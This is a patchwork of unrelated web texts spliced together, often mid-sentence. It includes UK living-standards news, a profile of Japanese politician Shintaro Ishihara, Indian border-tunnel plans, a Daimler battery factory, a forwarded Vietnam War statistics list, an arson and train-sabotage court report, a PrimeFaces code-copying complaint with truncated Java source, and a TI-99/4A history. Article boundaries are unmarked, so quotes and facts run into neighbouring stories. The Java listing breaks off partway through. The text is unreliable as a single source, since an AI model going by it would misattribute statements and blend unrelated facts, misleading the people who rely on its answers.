If you would like to experiment, and experience all of the Self Development Life Coaching Tools and Techniques: we will be happy to help you examine your mind (thinking and feeling), your goals and your dreams in our 12 WEEKS SELF DEVELOPMENT COURSE.
AoL consciousness research These icons link to social bookmarking sites where readers can share and discover new web pages.BBC Copyright: BBC
Disposable incomes are set to be £540 lower by 2023 than forecast in March and pay rates will not return to levels seen before the financial crash until the middle of the next decade, according to the Resolution Foundation.
The living standards think tank said annual pay was forecast to be £1,000 lower and consequently the UK faced a 17-year downturn before wages returned to 2008 levels.
The think tank warned that Philip Hammond has not taken sufficient action to ease the living standards squeeze, with welfare cuts over the coming years set to heap pressure on low-income families.
Resolution Foundation director Torsten Bell said: "The chancellor has been handed a massive downgrade to expectations for how fast Britain's economy can grow, knocking a full quarter off the growth we can expect over the next five years. While the result for the public finances is grim, the chancellor has chosen to take the extra borrowing on the chin and indeed to borrow more, including welcome new action on housing."
He added: "The chancellor has made the wrong call to press ahead with a damaging freeze on benefits. Welcome moves to reduce the waiting time for Universal Credit are also not matched by dealing with the much bigger challenge of planned cuts to the new benefit."The rise of the two hard-liners has already contributed to hand-wringing among liberals who are anxious that the foreboding sense that Japan is fast becoming an international has-been has left the Japanese vulnerable to long-suppressed nationalism. Even those who call those fears overblown acknowledge that anti-China feelings, which could be easily exploited, are rising as that country eclipses Japan, builds a formidable military and makes its territorial ambitions clear.
From Mr. Ishihara’s vantage point, those geopolitical realities make now the perfect time for Japan to put him in charge.
“Here I am, the old man who has run amok!” he bellowed to a wave of applause at a recent campaign appearance in front of Shinjuku train station in Tokyo. “I am 80 years old, and I am standing here because I want to break through the indecisive and barren politics that is stifling Japan!”
A tall, bespectacled figure, Mr. Ishihara spent most of his short speech emphasizing what has become the central campaign message of his Japan Restoration Party: offering forceful leadership to end Japan’s long political drift by breaking the grip of bureaucrats and vested interests.
Much of the party’s message, however, has become vintage Ishihara. He goes further than Mr. Abe, calling for an outright scrapping of Japan’s antiwar constitution, written by its postwar American occupiers. He still speaks about ending what he sees as political and cultural subservience to the United States and pledges to resist Chinese territorial appetites, promising to build permanent structures on the disputed islands in a move likely to further antagonize China.
“I cannot allow myself to die until my Japan, which has been made a fool of by China, and seduced as a mistress by the United States, is able to stand up again as a stronger, more beautiful nation,” Mr. Ishihara said last month to reporters, explaining why he resigned after 13 years as Tokyo’s governor to return to national politics. He did so after being asked to lead the fledgling Restoration Party’s slate in this month’s parliamentary election by its founder, the popular mayor of Osaka who did not yet want to run for national office.
Photo
So far, polls show that Mr. Ishihara has only limited appeal. His party’s approval ratings are in the low teens, about the same as the unpopular incumbent Democratic Party, but below Mr. Abe’s Liberal Democrats, who poll only slightly better, at around 20 percent. Polls also show that more than half of voters disapprove of Mr. Ishihara and of scrapping the antiwar clause of Japan’s constitution.
Advertisement Continue reading the main story
Still, there is a slight chance the Liberal Democrats will not garner enough support to win a majority in the lower house. If that happens, Mr. Ishihara stands a chance of becoming a kingmaker who can name his price for joining a coalition government: the prime ministership.
Mr. Ishihara seems to be betting that his undeniable star power will give him an edge in an election crowded by unknown new parties and established parties that many people view as too indecisive or inept to move Japan past its financial paralysis.
Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content, updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters.
Part of that celebrity was inherited from his younger brother, Yujiro, a movie star whose bad-boy persona won him comparisons to James Dean until he died in 1987. The elder Mr. Ishihara also developed his own name recognition, first as an author and screenwriter (for some of his brother’s movies) and later as a lawmaker. His fame gave him a special status in Japanese politics as a radical who was tolerated by the mainstream, though not taken seriously — until now.
As governor of Tokyo since 1999, he proved popular by projecting an image of a decisive, hands-on leader, making the point by wearing the gray jumpsuit of a city employee to the office. Although vested interests often get their way in Japan, he brushed aside objections by businesses to make Tokyo one of the first places in the world to adopt a cap-and-trade system for limiting diesel truck emissions.
But he also offended non-Japanese residents by blaming violent crime on foreigners, adding to fears that his nationalism is grounded in the same type of xenophobia that some suspect underlies his continual references to China by the name that imperial Japan used during its brutal occupation of that country in the 1930s.
And while Mr. Ishihara’s message seems to appeal to male voters anxious about their country’s future and angry over China’s claims to the disputed islands, he can also seem out of touch. Last year, he was forced to issue a rare public apology after calling the deadly tsunami in northeast Japan “punishment from heaven” for what he perceived as Japan’s moral decline.
Reservations about Mr. Ishihara’s strong views were shared even by some who attended his recent Tokyo rally and were considering supporting him.
“Ishihara is running as fast he can to the right,” said Jiro Ogata, a 22-year-old university student, “but I don’t think the country is going to follow him.”
During the current campaign, Mr. Ishihara has appeared to temper some of his past stands, notably on his country’s relationship with the United States. He has not repeated his calls to close American bases in Japan, and has said that he would maintain Japan’s security alliance. But he can still appear resentful of a country he feels has belittled his own nation and himself. In one of his dozens of books, he recounted how some American soldiers who occupied Japan after its wartime defeat hit him in the face with an ice cream stick when he refused to step out of their way.
He was a junior high school student at the time, but politicians who know him say the years since have not diminished his sense that Japan needs to reclaim its honor.
Advertisement Continue reading the main story
“Ishihara sees this as his last chance to win a place in the history books,” said Masakuni Murakami, a former Liberal Democratic Party heavyweight who has known Mr. Ishihara for more than three decades. “He wants to go down as the man who gave Japan its pride and self-confidence back.”China asks India for caution, restraint on Tawang rail link India, giving a push to its strategic interests, is exploring the feasibility to link Tawang with a rail network. The govt has asked MoS for Railways Manoj Sinha & MoS for Home Affairs Kiren Rijiju to explore the feasibility of a rail network in the remote area.
ITANAGAR: The Border Roads Organisation (BRO) will construct two tunnels through 4170-metre-high Sela Pass in Arunachal Pradesh, which would cut down the distance to China border through Tawang by 10 km."The tunnels would cut down at least an hour of travel time between the Army's 4 Corps headquarters at Tezpur and Tawang. Moreover, the tunnels would ensure that NH 13 and especially the 171 km stretch between Bomdila and Tawang, remains accessible in all weather conditions," a BRO release said here today.This is in keeping with India's bid for faster access to the Tibet frontier through the tough terrain of the state in the Eastern Himalayas.RS Rao, the commander of the 42 Border Road Task Force under BRO's Project Vartak has initiated formal requisition to West Kameng Deputy Commissioner (DC) Sonal Swaroop for acquisition of land for construction of Sela Tunnel, the release said.The project constitutes widening of existing single lane road to NH double lane specifications from Baisaki and then taking off a greenfield alignment of length 12.37 km.It also includes construction of two tunnels of length 475 metres and 1790 meters each through Sela-Chabrela ridge meeting the existing Balipara-Chaudur-Tawang road on Nurarang side, it said.The above alignment has been approved by the chief engineer, Project Vartak.There is a shorter but less used road along the Bhutan border via Orang in Assam and Kalaktang in Arunachal Pradesh."Due to construction of tunnels across Sela pass the road length reduces by approximately 6.5 km in addition obviates high altitude, steep gradient and hair pin bends on either side of Sela pass which, would bring relief to commuters as lot of hardships have to be faced in winter season due to snowfall at on Sela pass," the release said."Sela tunnel will add to the tourist potential of Tawang and attract more tourists making Tawang a more popular destination in North East region," it added."The new alignment of the road to Tawang involves 12. 37 km and the construction of two tunnels to bypass Sela and a number of hairpin bends. The altitude of the new alignment will vary between 11,000 and 12,000 ft," Swaroop informed from Bomdila, the district headquarters."The survey for land acquisition will start after the monsoon," she added.The BRO, which manages the roads across India's borders, has completed technical details of the proposed tunnels.They would be a boon to the Indian army troops in winters when heavy snowfall hinders connectivity on roads.On Monday, German Chancellor Angela Merkel visited the site of a future lithium-ion battery factory in the eastern German town of Kamenz. The factory is being developed by Mercedes-Benz manufacturer Daimler, which will devote approximately €500 million (or $562 million) to churning out batteries for electric vehicles and stationary storage.
If the project seems similar to Tesla’s Nevada-based Gigafactory, you wouldn’t be alone in making that comparison. Tesla and Panasonic partnered to devote $5 billion to building a lithium-ion battery factory outside of Reno, Nevada, and the electric-car maker has said it hopes to produce 35 gigawatt-hours of auto and stationary batteries by 2018.
Daimler didn’t give any projections for its factory’s potential capacity, but it did say that its investment would quadruple the size of an existing battery factory on the site, which is run by Accumotive, a wholly-owned subsidiary of Daimler. The German automaker is also pledging another €500 million to expand battery production worldwide. And if all goes well at the Kamenz site, Daimler says it will “go into operation in mid-2018.”
Last week, Daimler subsidiary Mercedes-Benz Energy announced a partnership with Vivint Solar to sell stationary storage batteries along with solar panels in California. The company has also experimented with reusing old electric-vehicle batteries for grid-tied storage. (When electric-vehicle batteries degrade past a certain point, they’re no longer road-worthy, but they can still store energy as part of infrastructure.)
According to Reuters, Chancellor Merkel said on Monday, “We need long-term horizons and companies that invest in the future. It is important that electric mobility is ready for the market as quickly as possible." She had noted earlier in the week that the German government had invested €35 million in battery research, and she claimed she “had been briefed about the latest lithium cells which could allow cars to travel up to 1,000 kilometers (621 miles) without needing to be recharged,” Reuters said.
According to Bloomberg New Energy Finance, Daimler’s Kamenz plant will be the biggest battery factory yet in Europe, with large lithium-ion battery factories planned for Sweden, Hungary, and Poland. The research organization estimates that by 2021, the cost of batteries will drop 41 percent, from $271 per kWh today to $156 per kWh.VIETNAM STATISTICS This list tells it all. These statistics could change many hearts. Pass this on. We, the U.S. have lost over 158,000 American lives to the Vietnam war and that count is still rising. Approx 58,000 in Vietnam. 100,000 or more to suicide and most of those occurred after the men came home. This accurate accounting gives us persepective on the cost of current and future wars. from Fallen Leaves, Broken Lives By Edward Tick Utne magazine January-February 2005 Issue CASUALTIES OF THE VIETNAM WAR THERE ARE MORE THAN 58,000 NAMES OF AMERICAN DEAD ON THE WALL IN WASHINGTON, D.C., BUT THE TOTAL COSTS ARE STILL BEING TALLIED. THE PEOPLE American Veterans Vietnamese People In Country 2.5 million est. 1970 pop. 41 million In Combat 1.5 million unknown Killed in Action 58,000+ 2.5 million Wounded 300,000+* 4 million Missing in Action 2,000+ 250,000 Post-Traumatic Stress Disorder 1.5 million+ unknown Suicides 100,000+ unknown Homeless 150,000 nightly unknown Boat People 0 1 million (Viet Nam, Laos, and Cambodia) Lost at Sea 0 500,000 Disabled Street People unknown 3 million New Agent Orange Deformities unknown 35,000/year Peacetime Deaths Due to Unexploded Bombs & Mines 0 50,000+ (Viet Nam, Laos, and Cambodia) Maimed by Bombs and Mines (1975-98) 0 67,000 Reeducation Camps 0 400,000 in 100 camps * includes U.S: 74,000 quadriplegics and multiple amputees THE VIETNAMESE LAND Total Herbicides Used 19.4 million gallons Agent Orange Sprayed 11.7 million gallons Mangrove Forest Destroyed 60% Forest & Jungle Destroyed 18% Cultivated Land Destroyed 8% U.S. BOMBING 8 billion+ pounds (4 times more than WWII total; equal to 600 Hiroshima-size bombs) 23 million bomb craters 2,257 U.S. aircraft lost Over 4,000 of toal 5,778 villages bombed, 150 completely destroyed DESTROYED 10 million cubic meters of dikes 815 hydroelectric works 1,100 lake embankments 8 forestries 48 agricultural research centers with 6,000 agricultural machines and 46,000 water buffalo 400 factories 18 power stations 13,000 boats 15,100 bridges 2,923 high schools and universities 350 hospitals 1,500 maternity hospitals 484 churches 465 pagodas 240,540 thatched huts TOTAL COST TO THE UNITED STATES: $925 Billion Edward Tick collected these statistics by searching history books, newspapers, and archives, and interviewing survivors and scholars throughout the United States and Southeast Asia. Following is a partial list of his sources. In the United States: Disabled American Veterans; The New York Times; Hell, Healing and Resistance by Daniel Hallock; The Vietnam War: A History in Documents, by Young, Fitzgerald & Grunfel; Webster's New World Dictionary of the Vietnam War. In Viet Nam: Army Museum, Ha Noi; Hong Ngoc (Rosy Jade) Humanity Center, Sao Do; Research Center for Gender, Family, and Environment in Development, Ha Noi; Women's Museum, Ha Noi; War Remnants Museum, Ho Chi Minh City. EDWARD TICK (left) is director and senior psychotherapist of the Sanctuary: A Center for Mentoring the Soul in Albany, New York (www.mentorthesoul.com). He is known for his groundbreaking work with Viet Nam veterans -- as well as veterans of World War II, Korea, El Salvador, Lebanon, the first Gulf War, and the present war in Iraq -- suffering from post-traumatic stress disorder. The author of The Practice of Dream Healing (Quest, 2001), he has two books forthcoming this year: The Golden Tortoise: Viet Nam Journeys (Red Hen, April 2005) and War and the Soul (Quest, November 2005). Tick recently presented his work at the Bioneers Conference, an annual gathering of those who seek "visionary & practical solutions for restoring the earth and people" in Marin, California. To read about the work of other Bioneers, go to www.utne.com/bioneers.CFA volunteer, ex-Metro worker Nicholas Archer pleads guilty to train derailment, arson
Updated
A former Metro Trains employee and CFA volunteer has pleaded guilty to numerous arson and sabotage offences, including derailing a train in Melbourne's north-east, igniting grassfires and setting a fire station alight.
Nicholas Archer, 28, admitted to damaging signalling equipment at several train stations in Melbourne's west last year, including Tottenham, Sunshine and Newport, in an effort to cause major disruptions for passengers.
The Waterford Park man's offending culminated in him derailing a train at Hurstbridge last November, which caused significant track damage and delays for commuters.
At the time, Metro said it had caused millions of dollars of damage.
Archer also admitted to setting the CFA station at Clonbinane on fire last June, where he volunteered.
In December, January and February he also lit numerous grassfires in the area.
Archer also set fire to four 100-year-old rail carriages and two heritage-listed warehouses at the Newport Steam Rail Club in March last year.
He targeted the club again in August, damaging a warehouse and train carriage.
Archer damaged the Newport Heritage Museum, owned by the Newport Steam Rail Club, in November 2009.
He will return to court in October for a pre-sentencing hearing.
Topics: courts-and-trials, arson, melbourne-3000, vic
First postedIceFaces Copies PrimeFaces Line by Line
After release of IceFaces 3, we have been getting reports from PrimeFaces Community that IceFaces Ace Components look similar to PrimeFaces. After looking at Ice Ace Components, frankly, we are shocked and disappointed! IceSoft copied PrimeFaces code LINE BY LINE to come up with it’s new set of components named Ace. We are aware that we can’t take any action legally as code is open however we just want to let you know about this. Here is an example of PrimeFaces Panel and Ice Panel as a case study;
PrimeFaces PanelRenderer
package org.primefaces.component.panel; import java.io.IOException; import java.util.Map; import javax.faces.component.UIComponent; import javax.faces.context.FacesContext; import javax.faces.context.ResponseWriter; import org.primefaces.component.menu.Menu; import org.primefaces.renderkit.CoreRenderer; public class PanelRenderer extends CoreRenderer { @Override public void decode(FacesContext context, UIComponent component) { Panel panel = (Panel) component; String clientId = panel.getClientId(context); Map params = context.getExternalContext().getRequestParameterMap(); //Restore toggle state String collapsedParam = params.get(clientId + "_collapsed"); if(collapsedParam!= null) { panel.setCollapsed(Boolean.valueOf(collapsedParam)); } //Restore visibility state String visibleParam = params.get(clientId + "_visible"); if(visibleParam!= null) { panel.setVisible(Boolean.valueOf(visibleParam)); } decodeBehaviors(context, component); } @Override public void encodeEnd(FacesContext facesContext, UIComponent component) throws IOException { Panel panel = (Panel) component; encodeMarkup(facesContext, panel); encodeScript(facesContext, panel); } protected void encodeScript(FacesContext context, Panel panel) throws IOException { ResponseWriter writer = context.getResponseWriter(); String clientId = panel.getClientId(context); startScript(writer, clientId); writer.write("PrimeFaces.cw('Panel','" + panel.resolveWidgetVar() + "',{"); writer.write("id:'" + clientId + "'"); //Toggle configuration if(panel.isToggleable()) { writer.write(",toggleable:true"); writer.write(",toggleSpeed:" + panel.getToggleSpeed()); writer.write(",collapsed:" + panel.isCollapsed()); } //Toggle configuration if(panel.isClosable()) { writer.write(",closable:true"); writer.write(",closeSpeed:" + panel.getCloseSpeed()); } //Options menu configuration if(panel.getOptionsMenu()!= null) { writer.write(",hasMenu:true"); } encodeClientBehaviors(context, panel); writer.write("});"); endScript(writer); } protected void encodeMarkup(FacesContext context, Panel panel) throws IOException { ResponseWriter writer = context.getResponseWriter(); String clientId = panel.getClientId(context); Menu optionsMenu = panel.getOptionsMenu(); writer.startElement("div", null); writer.writeAttribute("id", clientId, null); String styleClass = panel.getStyleClass()!= null? Panel.PANEL_CLASS + " " + panel.getStyleClass() : Panel.PANEL_CLASS; styleClass = panel.isVisible()? styleClass : styleClass + " ui-helper-hidden"; writer.writeAttribute("class", styleClass, "styleClass"); if(panel.getStyle()!= null) { writer.writeAttribute("style", panel.getStyle(), "style"); } encodeHeader(context, panel); encodeContent(context, panel); encodeFooter(context, panel); if(panel.isToggleable()) { encodeStateHolder(context, panel, clientId + "_collapsed", String.valueOf(panel.isCollapsed())); } if(panel.isClosable()) { encodeStateHolder(context, panel, clientId + "_visible", String.valueOf(panel.isVisible())); } if (optionsMenu!= null) { optionsMenu.setPosition("dynamic"); optionsMenu.setTrigger(clientId + "_menu"); optionsMenu.setMy("left top"); optionsMenu.setAt("left bottom"); optionsMenu.encodeAll(context); } writer.endElement("div"); } protected void encodeHeader(FacesContext context, Panel panel) throws IOException { ResponseWriter writer = context.getResponseWriter(); String widgetVar = panel.resolveWidgetVar(); UIComponent header = panel.getFacet("header"); String headerText = panel.getHeader(); String clientId = panel.getClientId(context); if(headerText == null && header == null) { return; } writer.startElement("div", null); writer.writeAttribute("id", panel.getClientId(context) + "_header", null); writer.writeAttribute("class", Panel.PANEL_TITLEBAR_CLASS, null); //Title writer.startElement("span", null); writer.writeAttribute("class", Panel.PANEL_TITLE_CLASS, null); if(header!= null) { renderChild(context, header); } else if(headerText!= null) { writer.write(headerText); } writer.endElement("span"); //Options if(panel.isClosable()) { encodeIcon(context, panel, "ui-icon-closethick", clientId + "_closer", panel.getCloseTitle()); } if(panel.isToggleable()) { String icon = panel.isCollapsed()? "ui-icon-plusthick" : "ui-icon-minusthick"; encodeIcon(context, panel, icon, clientId + "_toggler", panel.getToggleTitle()); } if(panel.getOptionsMenu()!= null) { encodeIcon(context, panel, "ui-icon-gear", clientId + "_menu", panel.getMenuTitle()); } writer.endElement("div"); } protected void encodeContent(FacesContext facesContext, Panel panel) throws IOException { ResponseWriter writer = facesContext.getResponseWriter(); writer.startElement("div", null); writer.writeAttribute("id", panel.getClientId() + "_content", null); writer.writeAttribute("class", Panel.PANEL_CONTENT_CLASS, null); if (panel.isCollapsed()) { writer.writeAttribute("style", "display:none", null); } renderChildren(facesContext, panel); writer.endElement("div"); } protected void encodeFooter(FacesContext facesContext, Panel panel) throws IOException { ResponseWriter writer = facesContext.getResponseWriter(); UIComponent footer = panel.getFacet("footer"); String footerText = panel.getFooter(); if (footer!= null || footerText!= null) { writer |
1981 TEXAS INSTRUMENTS ") this feature was discontinued. All consoles include TI BASIC, a strict ANSI-compliant BASIC programming language interpreter that is largely incompatible with the more popular, and frequently imitated, Microsoft BASIC. Later consoles, identified by " (C)1983 TEXAS INSTRUMENTS V2.2 " on the title page, also remove the ability for the system to execute unlicensed ROM-based cartridges, locking out third-party manufacturers such as Atarisoft.
The system has a joystick port that supports two digital joysticks, which TI referred to as "wired remote controllers". The two joysticks are connected through a single nine pin DE-9 port which is identical with those used for Atari 2600 joysticks but with incompatible pins. Aftermarket adapters were available which allow the use of two Atari-compatible joysticks.[3] The computer supports saving to, and loading from, two cassette drives through a dedicated port. Composite video and audio are output through another port on NTSC-based machines, and combine through an external RF modulator for use with a television. PAL-based machines output a more complex YUV signal which is also modulated to UHF externally.
16-bit processor [ edit ]
The TI-99/4 series is the 16-bit personal computer.[4] The TI-99/4A has a 16-bit TMS9900 CPU running at 3.0 MHz. The TMS9900 is based on TI's range of TI-990 mini computers.
Only the program counter, status register, and workspace pointer registers are on the chip; all work registers are kept in RAM at an address indicated by the workspace pointer. 16 registers are available at any given time, and a context switch instruction that changes to another workspace automatically allows fast context switches compared to other processors that may have to store and restore the registers. For CPU RAM, the machine has only 256 bytes of "scratchpad" memory to support the storage of workspaces. This memory is placed directly on the 16-bit bus with zero wait states, making it much faster than any other memory available to the system.
Although the CPU is a full 16-bit processor, only the system ROMs and 256 bytes of scratchpad RAM is available on the 16-bit bus. All other memory and peripherals are connected to the CPU through a 16-to-8-bit multiplexer, requiring twice the cycles for any access and introducing an additional 4-cycle wait state. This is reportedly due to the failure of a new 8-bit processor being designed by TI for this system, while the 9900 processor was already in production and proven. A user modification in later years involves "piggybacking" static RAM chips onto the console's 16-bit ROM chips, allowing a standard 32kB RAM expansion without the wait state and approximately a 30% speed increase for many applications.[citation needed] Applications previously running entirely in 8-bit RAM (both code and registers) can speed up by a factor of two. Most hardware is based on the system clock, not the program execution speed, and the hardware access still runs through the 8-bit bus with the wait states intact, so this particular modification does not affect any peripherals.
The video display processor (VDP) in the 99/4 is a Texas Instruments TMS9918.[5] It lacks a bitmap mode, which was added in the 99/4A. The VDP in the American 99/4A is the TMS9918A, giving the machine the "A" in its name. In the European PAL consoles this is replaced with the TMS9929A, which also powered MSX machines.
A unique feature of these VDP chips is that they contain hardware support for superimposing on-screen graphics over other video signals. Although TI announced a peripheral card called the Video Controller Card to allow the control of select LaserDisc players, which could switch between the TI's display and the LaserDisc player, the genlock capability of the 9918 is disabled in the design of the 99/4A and requires hardware modifications to use.
All accesses to the VDP system are executed eight bits at a time. Although this affects performance, it made it easier to upgrade the VDP when newer, relatively compatible chips were released by Yamaha Corporation. Peripherals from Mechatronics, and Michael Becker, simply called "80-column cards" include the Yamaha V9938 VDP, which gives the 99/4A a top resolution of 512×424 pixels in 16 colors or 256×424 pixels in 256 colors. This also increases the VDP memory from 16K to a maximum of 192K, although only software explicitly written for the 9938 takes advantage of it.
The unusual architecture of the 99/4 series is documented[by whom?] to be due to the failure of the 9985, an 8-bit processor created specifically for the machine. When it was abandoned, the 16-bit 9900 was selected to replace it, and a great deal of "glue logic" had to be added to fit the processor into the existing design, while no changes were made to take advantage of the 9900's strengths.
"Plug and play" hardware support [ edit ]
Daisy-chained Hexbus peripherals
All TI-99 models, from the earliest TI-99/4 to the unreleased TI-99/2 and TI-99/8, include plug and play support for all peripherals. Device drivers (called "Device Service Routines", or DSRs) are built into ROMs in the hardware; when a new card was inserted, it is immediately available for any software which needed or wanted to use it. All device access utilize a generic file-based I/O mechanism, allowing new devices to be added without updating software to use it. The Communications Register Unit (CRU) can address 4096 devices; however, each TI card runs at a hard-wired address on the CRU bus, and so multiple cards of the same type cannot be supported without modification. The only official card known to be modifiable is the RS-232 card, which supports two different base addresses. This allows the system to support four RS-232 ports and two parallel printer ports. Four-line BBSes were being run, using properly jumpered serial cards, on TI-99/4A systems as recently as the mid-1990s.[citation needed]
Most hobbyist-created cards released after TI's exit from the personal computer business include switches to set the base CRU address.
The HexBus Interface was designed in 1982 and intended for commercial release in late 1983. It connects the console to peripherals via a high-speed serial link. Though it is prototypical to today's USB (plug and play, hot-swappable, etc.), it was never released, with only a small number of prototypes appearing in collector hands after TI pulled out of the market. Several HexBus peripherals were planned or produced. A WaferTape drive never made it past the prototype stage due to reliability issues with the tapes. The 5.25-inch floppy drive also never made it past the prototype stage, even though it worked.[6] Prototype DSDD disk controllers and Video controllers were also made.[7] A four-color printer-plotter, a 300-baud modem, RS-232 interface, an 80-column thermal/ink printer, and a 2.8" "Quick Disk" drive were the only peripherals released in quantity, mostly for use with the Compact Computer 40 (CC-40). All HexBus peripherals can be used with a TI-99/4A when connected through the HexBus Interface, through direct connection to the TI-99/8, or through direct connection to the CC-40.
CPU RAM and Scratchpad [ edit ]
The TI minicomputer-inspired architecture of the TMS9900 series means that the "Workspace" of registers currently in use are stored in main memory. Because static RAM was also very expensive in the early 80s, TI only gave the machines 256 bytes of fast "scratch pad" RAM where register workspaces could be stored.
The original design for the intended CPU had this 256 bytes internal to the CPU itself, but the 9900 requires registers to be in external memory. Placing this small amount of memory on the 16-bit bus nevertheless helps the performance of the machine (as compared to having registers in 8-bit RAM with a 4-cycle penalty for every access). Some programs, such as Parsec, copied short loops of code to this memory to take advantage of the performance.
The sidecar and PE box expansion systems makes possible an official 32kB RAM expansion.[8] This is not available to all uses – for example an Extended Basic program was restricted to using 24kB with the remaining 8kB available for machine code routines.
Third parties provided replacement memory cards for the PEB. For example, Myarc produced 192kB and 512kB cards.[9] The memory provided by the Myarc cards can be partitioned for use as regular CPU RAM, a RAM disk and a printer buffer.
The Mini Memory plug-in module also contains 4kB of RAM that can be used as a persistent RAM disk (it contained a button cell) or to load a machine-code program.[10]
It is also possible to add an 8kB "supercart" or 32kB "superspace" cartridge via the cartridge slot, which also included the Editor/Assembler GROM. This uses the cartridge ROM space.
VDP RAM and GPL [ edit ]
Texas Instruments engineers afforded 16kB of Video Display Processor (VDP) RAM to the TI99/4A's graphics coprocessor, a TMS9918A. The VDP RAM was DRAM, with the VDP handling refresh. This is expandable to 192kB with the use of a Yamaha V9938 as a user-designed modification (not a standard upgrade option).
VDP RAM is also used for storing buffers for disk I/O, and variables and code for users' BASIC programs. Hence, the largest BASIC program possible is less than 16kB. BASIC is implemented on the TI-99 series using a second interpreted language called Graphics Programming Language (GPL). The GPL interpreter resides in the ROMs and takes control of the machine at power-up, and was very close to the native 9900 machine code, adding instructions to transparently access the different types of memory in the machine and perform higher level functions such as memory copy and formatted display. Users who install memory expansion still need to upgrade to the Extended BASIC cartridge to use it instead of VDP RAM.
The same VDP is used in the MSX and ColecoVision machines. Further upgrade chips, the 9938 and 9958, were produced by Yamaha based on TI's design. Boards were created that took advantage of these new chips to upgrade the graphics capabilities of the TI-99/4A. The 9938, the more common of the two upgrades, allow 512 × 424 pixels at 16 colours, or 256 × 424 at 256 colours. These upgrades are not a simple drop-in and replace; a small board including the replacement VDP and replacement VDP RAM (usually 128kB) is required. In addition, although the chips were largely software-compatible, certain bugs in the ROMs cause compatibility issues with the new chips. One board, the Mechatronic 80-column card featuring the 9938 require that the user press a button when entering TI BASIC.
Graphics Read-Only Memory [ edit ]
Graphics Read-Only Memory is another set of memory accessed a single byte at a time through a dedicated memory port, and were auto-incrementing read-only devices. (There is also support in the console for 'GRAM', simulators for which were created by third parties later.) The vast majority of TI cartridges (Disk Manager 2, Editor/Assembler, TI Writer, most games) use this system, as does the console's TI-BASIC. Swapping the TI-BASIC GROM with a GROM removed from a favorite cartridge is a popular modification, as is installing several GROMs into one cartridge allowing a "multicart", with all included GROMs being available in the boot menu.
Since the standard machine does not allow third party machine language support, programmers found their markets decidedly limited to those users who actually added more RAM to their systems. This limitation was alleviated as the price of 32 kB expansion card and a 4 kB "Mini Memory" module eventually came down, but by then the market had moved over to other computers.
Some sophisticated cartridges (for example Parsec, Alpiner, TI LOGO, TI Extended BASIC) include memory-addressable ROM which was available for machine code, primarily for games or applications which demand the speed of machine code. None of this memory is available to the user. In general, ROM-equipped cartridges may be identified by having 28-pin ICs on the board, while the GROM ICs have 14 pins. A small number of cartridges also include a small amount of RAM (notably those games produced for the Milton Bradley MBX expansion system).
Tigervision developed a unique solution to the memory limitation of the standard cartridge slot; a 24kB cartridge that attached to the side expansion interface, emulating an expansion device. This allowed the company to implement a larger game completely in machine code. Tigervision cartridges using the expansion port include Espial and Miner 2049er. A third cartridge, Sprinter, is listed in its 1984 catalog but was not released. Exceltec also released two similar side cartridges, Arcturus[11] and Killer Caterpillar.
Because of the speed bottlenecks (16-to-8-bit bus multiplexer) and the doubly interpreted BASIC, the TI-99 series gained a reputation for being quirky and eccentric, which endeared it to some and maddened others. Many people who had only experienced TI BASIC also considered it very slow, although assembly programs actually manage fairly good speed despite the hardware issues to overcome.
Games [ edit ]
Developers created about 100 99/4A games, most published by Texas Instruments.[12] Some of the most popular were Parsec, TI Invaders, Munch Man, Alpiner, Tombstone City: 21st Century, Hunt The Wumpus, The Attack and Car Wars.
Many TI-developed video games may be forced into cheat mode by holding the shift key and pressing 838. In Alpiner, the player can select which mountain to climb. 838 (with or without SHIFT) in Star Trek gives a random but high level of torpedoes, shields, and warp-drive energy.
InfoWorld criticized the computer's game library as mediocre.[12] TI not only discouraged third-party development for the 99/4A, including games, it also failed to license popular arcade games like Zaxxon or Frogger.[13][14]
History [ edit ]
Background [ edit ]
The original TI-99/4, released in 1979.
In 1977 groups within Texas Instruments were designing a video game console, a home computer to compete against the TRS-80 and Apple II, and a high-end business personal computer with a hard drive. The first two groups merged at TI's consumer products division in Lubbock, Texas; the 99/4's (according to Walden C. "Wally" Rhines) "ultracheap keyboard", RF modulator, and ROM cartridges came from the console design. Others within the company persuaded the Lubbock group to use TI's TMS9900 CPU.[5]
Although TI was much larger than any other personal-computer company when it entered the market in 1979, the $1,150 TI-99/4 was, The New York Times in 1983 stated, "an embarrassing failure".[13] David H. Ahl stated that it was "vastly overpriced, particularly considering its strange keyboard, non-standard Basic, and lack of software".[14] Adam Osborne reported in July 1980 that despite poor sales TI had raised the price of a complete system to $1,400, making the computer more expensive than the more popular Apple II, which was available for as little as $950. "Some dealers, who have offered the complete system (including the monitor) for less than the price of the Apple, have still been unable to sell it", he added.[15]
99/4A price war [ edit ]
The updated TI-99/4A, released in 1981.
Two years after the 99/4's debut, TI released the 99/4A, very similar, but with a better keyboard and more expansion options.[14] By lowering its price and offering rebates TI sold many more computers;[13] it has been estimated that it had about 35% of the home computer market at its peak[citation needed].
In 1982 TI began a price war with Commodore International by lowering the street price of the 99/4A to $200, including a $100 rebate, to compete against the $300 Commodore VIC-20. TI spokesman Bill Cosby joked how easy it was to sell a computer by paying people $100 to buy one, but the company continued to lose shelf space, as Commodore matched the $200 retail price by December 1982.[13][14]
The president of Spectravideo later said that "TI got suckered by" Jack Tramiel, head of Commodore.[14] TI was forced to sell the 99/4A for about the same price as the VIC-20, even though it was much more expensive to manufacture. Although TI and Commodore each owned their own IC fabrication facilities, Commodore created custom ICs to reduce the cost of its computers, while TI continued to use off-the-shelf components and make only relatively small revisions to their motherboards. Commodore also made other cost-cutting changes, including using aluminized cardboard to build RF shields for some of their systems.[16] The TMS9900 required expensive custom semiconductor packaging;[5] TI continued to use high-quality components and materials with the unfulfilled hope that the marketplace would recognize it.
